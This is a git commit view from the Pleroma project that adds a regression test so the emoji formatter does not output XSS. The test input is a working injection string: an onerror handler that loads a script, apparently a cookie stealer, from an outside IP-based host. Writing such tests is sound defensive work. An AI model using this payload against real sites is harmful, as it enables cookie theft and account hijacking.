diff options
| author | William Pitcock <nenolod@dereferenced.org> | 2018-09-02 00:04:09 +0000 |
|---|---|---|
| committer | William Pitcock <nenolod@dereferenced.org> | 2018-09-02 00:04:09 +0000 |
| commit | 834515fb511ecb8021b81f355cb2d629887edeef (patch) | |
| tree | 041c906375fdf1edfc956b9ab3a0a6070575d906 /test/formatter_test.exs | |
| parent | 3c7280934e3bdca8d5a870dc932406ccd9915d64 (diff) | |
| download | pleroma-834515fb511ecb8021b81f355cb2d629887edeef.tar.gz pleroma-834515fb511ecb8021b81f355cb2d629887edeef.zip | |
formatter: don't add XSS emoji
Diffstat (limited to 'test/formatter_test.exs')
| -rw-r--r-- | test/formatter_test.exs | 17 |
1 files changed, 16 insertions, 1 deletions
diff --git a/test/formatter_test.exs b/test/formatter_test.exs index 95558089b..8453b72ac 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -189,11 +189,26 @@ defmodule Pleroma.FormatterTest do text = "I love :moominmamma:" expected_result = - "I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />" + "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />" assert Formatter.emojify(text) == expected_result end + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = %{ + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + "https://placehold.it/1x1" + } + + expected_result = + "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" + + assert Formatter.emojify(text, custom_emoji) == expected_result + end + test "it returns the emoji used in the text" do text = "I love :moominmamma:" |